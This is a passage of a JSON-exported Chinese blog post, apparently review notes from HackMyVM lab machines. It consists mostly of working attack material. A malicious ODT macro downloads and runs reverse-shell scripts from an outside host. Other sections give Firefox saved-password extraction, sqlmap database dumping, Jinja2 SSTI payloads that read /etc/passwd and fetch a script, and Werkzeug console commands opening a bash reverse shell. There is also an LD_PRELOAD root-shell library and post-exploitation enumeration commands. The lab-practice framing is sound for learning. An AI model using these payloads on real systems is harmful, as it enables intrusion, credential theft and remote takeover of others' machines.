&quot;dev@run.hmv&quot;\ngit config user.name &quot;dev&quot;\ngit add .\ngit commit -m &quot;revershell.yaml&quot;\ngit push origin main<\/code><\/pre>\n<h2>odt\u9493\u9c7c\uff08\u5b8f\u75c5\u6bd2\uff09<\/h2>\n<p>\u5728\u9776\u573a<code>quick5<\/code>\u4e2d\u7528\u5230\u4e86\u5b8f\u75c5\u6bd2\u9493\u9c7c\u7684\u76f8\u5173\u77e5\u8bc6\uff1a<\/p>\n<h3>\u5148\u5236\u4f5c\u4e00\u4e2aodt\u6587\u4ef6<\/h3>\n<pre><code class=\"language-bash\"># \u5236\u4f5c\u4e00\u4e2aodt\nuse exploit\/multi\/misc\/openoffice_document_macro\nrun<\/code><\/pre>\n<h3>\u6539\u6210\u538b\u7f29\u5305\u683c\u5f0f\uff0c\u4fee\u6539\u6587\u4ef6<\/h3>\n<p>\u5c06\u540e\u7f00\u6539\u4e3a<code>.zip<\/code>\uff0c\u6253\u5f00\u4fee\u6539<code>\\Basic\\Standard\\Module1.xml<\/code>\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;!DOCTYPE script:module PUBLIC &quot;-\/\/OpenOffice.org\/\/DTD OfficeDocument 1.0\/\/EN&quot; &quot;module.dtd&quot;&gt;\n&lt;script:module xmlns:script=&quot;http:\/\/openoffice.org\/2000\/script&quot; script:name=&quot;Module1&quot; script:language=&quot;StarBasic&quot;&gt;REM  *****  BASIC  *****\n\nSub Onload\n    Shell(&quot;wget &#039;http:\/\/172.20.10.8:8888\/remote.sh&#039; -O \/tmp\/remote.sh &quot;)\n    Shell(&quot;sh \/tmp\/remote.sh &quot;)\n    Shell(&quot;wget &#039;http:\/\/172.20.10.8:8888\/reverseshell.php&#039; &quot;)\n    Shell(&quot;php reverseshell.php&quot;)\nEnd Sub\n&lt;\/script:module&gt;<\/code><\/pre>\n<p>\u5176\u5b9e<code>remote.sh<\/code>\u548c<code>reverseshell.php<\/code>\u90fd\u662f\u53cd\u5f39shell\u7684\u811a\u672c\uff0c\u8fd9\u91cc\u4e3a\u4e86\u9632\u6b62\u88ab\u5220\u9664\u4e22\u5230<code>\/tmp<\/code>\u5185\uff0c\u6211\u4e5f\u4e0d\u77e5\u9053\u662f\u54ea\u4e2a\u8d77\u4e86\u4f5c\u7528\u3002<\/p>\n<h2>firefox\u63d0\u53d6\u5bc6\u7801<\/h2>\n<p>firefox\u662f\u5b89\u5168\u4eba\u5458\u6bd4\u8f83\u559c\u6b22\u7684\u6d4f\u89c8\u5668\uff0c\u800c\u6d4f\u89c8\u5668\u6709\u8bb0\u4f4f\u5bc6\u7801\u7684\u4f5c\u7528\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u5229\u7528 <a href=\"https:\/\/github.com\/unode\/firefox_decrypt\">firefox_decrypt<\/a> \u63d0\u53d6\u5176\u8d26\u53f7\u5bc6\u7801\u3002<\/p>\n<p>\u4f46\u662f\u8fd9\u91cc\u9700\u8981\u8bb0\u4f4f\uff0c\u5b83\u9ed8\u8ba4\u63d0\u53d6\u914d\u7f6e\u6587\u4ef6\u7684\u5730\u70b9\u5728\uff1a<\/p>\n<pre><code class=\"language-bash\">\/home\/username\/.mozilla<\/code><\/pre>\n<p>\u5982\u679c\u4e0d\u5728\u7684\u5316\u53ef\u80fd\u9700\u8981\u8fdb\u884c\u94fe\u63a5\u4e00\u4e0b\uff1a<\/p>\n<p>\u5728<code>quick5<\/code>\u5185\u662f\u5982\u4e0b\u7684\uff1a<\/p>\n<pre><code class=\"language-bash\">ln -s \/home\/andrew\/snap\/firefox\/common\/.mozilla \/home\/andrew\/.mozilla<\/code><\/pre>\n<p>\u7fa4\u4e3b\u76f4\u63a5\u4f7f\u7528\u811a\u672c\u76ee\u5f55\u8fdb\u884c\u63d0\u53d6\u4e86\uff0c\u8bb0\u5f55\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">python3 firefox_decrypt.py .\/firefox\/common\/.mozilla\/firefox\/ii990jpt.default<\/code><\/pre>\n<h2>sqlmap\u547d\u4ee4<\/h2>\n<p>\u4e0d\u60f3\u7528sqlmap\uff0c\u4f46\u662f\u6709\u7684\u9776\u573a\u4ee5\u6211\u7684\u77e5\u8bc6\u5b9e\u5728\u6d4b\u4e0d\u51fa\u6765\uff0c\u800c\u521b\u5efa\u8005\u4f30\u8ba1\u4e00\u5f00\u59cb\u4e5f\u662f\u51c6\u5907\u4f7f\u7528sqlmap\u7684\uff0c\u6bd4\u5982<code>Vinylizer<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\"># sql.txt\u662f\u6293\u5305\u7684\u7ed3\u679c\nsqlmap -r sql.txt -p username -dbs\nsqlmap -l sql.txt --batch -D vinyl_marketplace --tables\nsqlmap -l sql.txt --batch -D vinyl_marketplace -T users --columns\nsqlmap -l sql.txt --batch -D vinyl_marketplace -T users --dump<\/code><\/pre>\n<h2>SSTI\u6a21\u677f\u6ce8\u5165<\/h2>\n<p>\u5728<code>zeug<\/code>\u9776\u573a\u4e2d\uff0c\u53d1\u751f\u4e86<code>SSTI<\/code>\u6ce8\u5165\uff1a<\/p>\n<p>\u53ef\u4ee5\u8003\u8651\u4f7f\u7528https:\/\/swisskyrepo.github.io\/PayloadsAllTheThings\/Server%20Side%20Template%20Injection\/#jinja2-debug-statement\u67e5\u8be2<\/p>\n<p>\u5728\u672c\u9898\u4e2d\u9650\u5236\u4e86\u4e00\u4e9b\u53c2\u6570\uff0c\u5229\u7528\uff1a<\/p>\n<pre><code class=\"language-bash\">{{ get_flashed_messages.__globals__.__builtins__.open(&quot;\/etc\/passwd&quot;).read() }}<\/code><\/pre>\n<p>\u8bfb\u53d6\u5230\u4e86<code>passwd<\/code><\/p>\n<p>\u5229\u7528\u4e0b\u9762\u547d\u4ee4\u4f20\u8f93\u4e86<code>\u53cd\u5f39shell<\/code><\/p>\n<pre><code class=\"language-bash\">{{lipsum.__globals__.__builtins__.eval(&quot;__im&quot;&quot;port__(&#039;o&#039;&#039;s&#039;).pop&quot;&quot;en(&#039;wget http:\/\/10.0.2.4:8888\/rev.sh&#039;).read()&quot;)}}<\/code><\/pre>\n<p>\u7531\u4e8e\u672c\u9898\u5f00\u542f\u4e86\u8c03\u8bd5\u6a21\u5f0f\uff0c\u6240\u4ee5\u5f00\u542f\u4e86<code>console<\/code>\uff0c\u53ef\u4ee5\u5229\u7528https:\/\/github.com\/wdahlenburg\/werkzeug-debug-console-bypass\u83b7\u53d6pin\u7801\u4ece\u800c\u767b\u5f55\uff1a<\/p>\n<p>\u7136\u540e\u5229\u7528console RCE\u8fdb\u884c\u53cd\u5f39\uff1a<\/p>\n<pre><code class=\"language-bash\">__import__(&#039;os&#039;).popen(&#039;whoami&#039;).read();\n__import__(&#039;os&#039;).system(&quot;bash -i &gt;&amp; \/dev\/tcp\/172.20.10.8\/1234 0&gt;&amp;1&quot;)\n__import__(&#039;os&#039;).system(&#039;bash -c &quot;bash -i &gt;&amp; \/dev\/tcp\/172.20.10.8\/1234 0&gt;&amp;1&quot;&#039;)<\/code><\/pre>\n<h2>\u52a8\u6001\u94fe\u63a5\u5e93\u52ab\u6301<\/h2>\n<p>\u5728<code>zeug<\/code>\u3001<code>wild<\/code>\u7b49\u9776\u573a\u90fd\u7528\u5230\u4e86\uff0c\u4f46\u662f\u6709\u6240\u533a\u522b\uff0c<code>zeug<\/code>\u662f\u627e\u4e0d\u5230\u8fd9\u4e2a\u52a8\u6001\u94fe\u63a5\u5e93\u6587\u4ef6\uff0c\u800c<code>wild<\/code>\u662f<code>setenv<\/code>\uff0c\u6545\u5229\u7528\u9884\u94fe\u63a5\u7684\u94fe\u63a5\u5e93\u6587\u4ef6\u5373\u53ef\u8fdb\u884c\u63d0\u6743\u3002<\/p>\n<pre><code class=\"language-c\">\/\/ exia.c\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n\nvoid inject()__attribute__((constructor));\n\nvoid inject() {\n    unsetenv(&quot;LD_PRELOAD&quot;);\n    setuid(0);\n    setgid(0);\n    system(&quot;\/bin\/bash&quot;);\n}<\/code><\/pre>\n<pre><code class=\"language-bash\">gcc  -fPIC -shared -o exia.so exia.c<\/code><\/pre>\n<blockquote>\n<p><strong>LD_PRELOAD<\/strong> \u73af\u5883\u53d8\u91cf\u7528\u4e8e\u6307\u5b9a\u52a0\u8f7d\u7a0b\u5e8f\u5728\u6240\u6709\u5176\u4ed6\u5e93\uff08\u5305\u62ec\u6807\u51c6 C \u5e93 ( <code>libc.so<\/code>)\uff09\u4e4b\u524d\u52a0\u8f7d\u4e00\u4e2a\u6216\u591a\u4e2a\u5171\u4eab\u5e93\uff08.so \u6587\u4ef6\uff09\u3002\u6b64\u8fc7\u7a0b\u79f0\u4e3a\u9884\u52a0\u8f7d\u5e93\u3002<\/p>\n<p>\u4f46\u662f\uff0c\u4e3a\u4e86\u7ef4\u62a4\u7cfb\u7edf\u5b89\u5168\u5e76\u9632\u6b62\u6b64\u529f\u80fd\u88ab\u5229\u7528\uff0c\u7279\u522b\u662f\u5bf9\u4e8e <strong>suid\/sgid<\/strong> \u53ef\u6267\u884c\u6587\u4ef6\uff0c\u7cfb\u7edf\u4f1a\u5f3a\u5236\u6267\u884c\u67d0\u4e9b\u6761\u4ef6\uff1a<\/p>\n<ul>\n<li>\u5bf9\u4e8e\u771f\u5b9e\u7528\u6237 ID ( <em>ruid ) \u4e0e\u6709\u6548\u7528\u6237 ID (<\/em> <em>euid<\/em> ) \u4e0d\u5339\u914d\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u52a0\u8f7d\u7a0b\u5e8f\u4f1a\u5ffd\u7565 <strong>LD_PRELOAD<\/strong>\u3002<\/li>\n<li>\u5bf9\u4e8e\u5177\u6709 suid\/sgid \u7684\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u4ec5\u9884\u52a0\u8f7d\u6807\u51c6\u8def\u5f84\u4e2d\u4e5f\u662f suid\/sgid \u7684\u5e93\u3002<\/li>\n<\/ul>\n<\/blockquote>\n<h2>\u6269\u5c55shell<\/h2>\n<pre><code class=\"language-bash\">python -c &#039;import pty; pty.spawn(&quot;\/bin\/sh&quot;)&#039;\npython3 -c &#039;import pty;pty.spawn(&quot;\/bin\/bash&quot;)&#039;<\/code><\/pre>\n<pre><code class=\"language-bash\">\/usr\/bin\/script -qc \/bin\/bash \/dev\/null<\/code><\/pre>\n<p><code>\/usr\/bin\/script -qc \/bin\/bash \/dev\/null<\/code> \u8fd9\u4e2a\u547d\u4ee4\u5b9e\u9645\u4e0a\u662f\u5728\u4f7f\u7528 <code>script<\/code> \u547d\u4ee4\u6765\u8bb0\u5f55\u4e00\u4e2a shell \u4f1a\u8bdd\u3002<code>script<\/code> \u547d\u4ee4\u5e38\u7528\u4e8e\u8bb0\u5f55 shell \u4f1a\u8bdd\u7684\u8f93\u51fa\u5230\u4e00\u4e2a\u6587\u4ef6\u4e2d\uff0c\u4ee5\u4fbf\u7a0d\u540e\u8fdb\u884c\u67e5\u770b\u6216\u5206\u6790\u3002\u4f46\u662f\uff0c\u8fd9\u4e2a\u547d\u4ee4\u4e2d\u7684\u53c2\u6570\u548c\u7528\u6cd5\u7a0d\u5fae\u6709\u4e9b\u7279\u522b\uff0c\u6211\u4eec\u9010\u4e00\u89e3\u91ca\uff1a<\/p>\n<ol>\n<li><strong><code>\/usr\/bin\/script<\/code><\/strong>: \u8fd9\u662f <code>script<\/code> \u547d\u4ee4\u7684\u5b8c\u6574\u8def\u5f84\u3002<code>script<\/code> \u547d\u4ee4\u7528\u4e8e\u8bb0\u5f55 shell \u4f1a\u8bdd\u3002<\/li>\n<li><strong><code>-q<\/code><\/strong>: \u8fd9\u4e2a\u9009\u9879\u8868\u793a\u5b89\u9759\u6a21\u5f0f\uff0c\u5373 <code>script<\/code> \u547d\u4ee4\u4e0d\u4f1a\u6253\u5370\u5f00\u59cb\u548c\u7ed3\u675f\u7684\u6d88\u606f\u3002<\/li>\n<li><strong><code>-c<\/code><\/strong>: \u8fd9\u4e2a\u9009\u9879\u5141\u8bb8\u4f60\u63d0\u4f9b\u4e00\u4e2a\u547d\u4ee4\u5b57\u7b26\u4e32\u7ed9 <code>script<\/code>\uff0c\u8be5\u547d\u4ee4\u5b57\u7b26\u4e32\u4f1a\u5728 <code>script<\/code> \u542f\u52a8\u7684\u65b0 shell \u4e2d\u6267\u884c\u3002<\/li>\n<li><strong><code>\/bin\/bash<\/code><\/strong>: \u8fd9\u662f\u4f60\u60f3\u8981\u5728 <code>script<\/code> \u73af\u5883\u4e2d\u8fd0\u884c\u7684 shell \u7684\u8def\u5f84\u3002\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u4f60\u9009\u62e9\u4e86 bash shell\u3002<\/li>\n<li><strong><code>\/dev\/null<\/code><\/strong>: \u8fd9\u662f <code>script<\/code> \u547d\u4ee4\u7528\u4e8e\u8f93\u51fa\u8bb0\u5f55\u7684\u6587\u4ef6\u8def\u5f84\u3002\u4f46\u662f\uff0c<code>\/dev\/null<\/code> \u662f\u4e00\u4e2a\u7279\u6b8a\u7684\u8bbe\u5907\u6587\u4ef6\uff0c\u5b83\u4f1a\u4e22\u5f03\u6240\u6709\u5199\u5165\u5176\u4e2d\u7684\u6570\u636e\uff08\u5373\u201c\u9ed1\u6d1e\u201d\uff09\u3002\u56e0\u6b64\uff0c\u8fd9\u4e2a\u547d\u4ee4\u5b9e\u9645\u4e0a\u4f1a\u8fd0\u884c bash shell\uff0c\u4f46\u4e0d\u4f1a\u4fdd\u5b58\u4efb\u4f55\u8f93\u51fa\u3002<\/li>\n<\/ol>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u67e5\u627eSUID<\/h3>\n<pre><code class=\"language-bash\">find \/ -perm -u=s -type f 2&gt;\/dev\/null<\/code><\/pre>\n<h3>\u67e5\u627e\u5b9a\u65f6\u4efb\u52a1<\/h3>\n<pre><code class=\"language-bash\">cat \/etc\/cron*<\/code><\/pre>\n<h3>\u67e5\u770b\u7528\u6237<\/h3>\n<pre><code class=\"language-bash\">cat \/etc\/passwd<\/code><\/pre>\n<h3>\u67e5\u770b\u8fdb\u7a0b<\/h3>\n<pre><code class=\"language-bash\">ps aux <\/code><\/pre>\n<h3>\u4e0a\u4f20linpeas.sh<\/h3>\n","protected":false},"excerpt":{"rendered":"<p>\u6253\u9776\u590d\u76d8 \u672c\u6b21 hackmyvm \u6253\u9776\u4ece\u4e09\u6708\u4e2d\u65ec\u5f00\u59cb\uff0c\u5386\u65f6\u5341\u4f59\u5929\uff0c\u52303.29\u53f7\u622a\u81f3\uff0c\u5171\u6253\u9776 20 \u4f59\u4e2a\uff0c\u518d\u6b21\u505a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-479","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/479","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=479"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/479\/revisions"}],"predecessor-version":[{"id":480,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/479\/revisions\/480"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=479"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=479"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=479"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}